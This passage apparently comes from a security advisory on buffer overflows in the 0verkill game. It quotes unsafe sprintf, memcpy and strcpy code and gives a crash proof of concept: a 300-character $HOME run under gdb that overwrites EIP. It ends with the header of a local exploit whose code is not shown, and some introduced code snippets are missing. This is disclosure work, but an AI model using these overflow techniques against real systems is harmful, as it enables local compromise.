#ifndef WIN32
sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); //
first overflow
#else
sprintf(txt,"./%s",CFG_FILE);
#endif
...
...
a=strlen(txt);
...
...
memcpy(host,txt,strlen(txt)+1); //
second overflow
...
...
a=strlen(txt);
...
...
memcpy(name,txt,strlen(txt)+1); //
third overflow
...
...
}
Compiling 0verkill on a platform other than Windows and setting a long $HOME environment variable demonstrates the buffer overflow, like so:
$ export HOME=`perl - e 'print "A"x300'`
$ gdb ./0verkill
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License,
and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty"
for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r
Starting program: /root/root/all/gry/0verkill/./0verkill
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ()
(gdb) i r eip
eip 0x41414141 0x41414141
(gdb)
Technically the same type of bug is present in both functions. Improper bounds checking when reading the $HOME environment variable. The third possible vulnerability is in the send_message() function which is called from play():
While MAX_MESSAGE_LENGTH is defined in the cfg.h file to be:
#define MAX_MESSAGE_LENGTH 70 /* maximal length of chat message
Since a string passed to the send_message() function could be larger than the maximum message size there might be a way to exploit this vulnerability or to otherwise crash the program.
Server Vulnerabilities
A server, when compiled under Windows, contains a vulnerability when copying the username into a buffer, presented in the following code from the parse_command_line() function:
By using the strcpy() function in such an unsafe manner it is possible to create a buffer overflow condition. With GetLastErrorText() it might be possible to create a buffer overflow condition but the author was unable to exploit it.
/*
* Simple local exploit for 0verkill by pi3 (pi3ki31ny)
* Greetz: [greetz on my web] && other my friends (you know who
you are)
*
* ...::: -=[ www.pi3.int.pl ]=- :::...
*/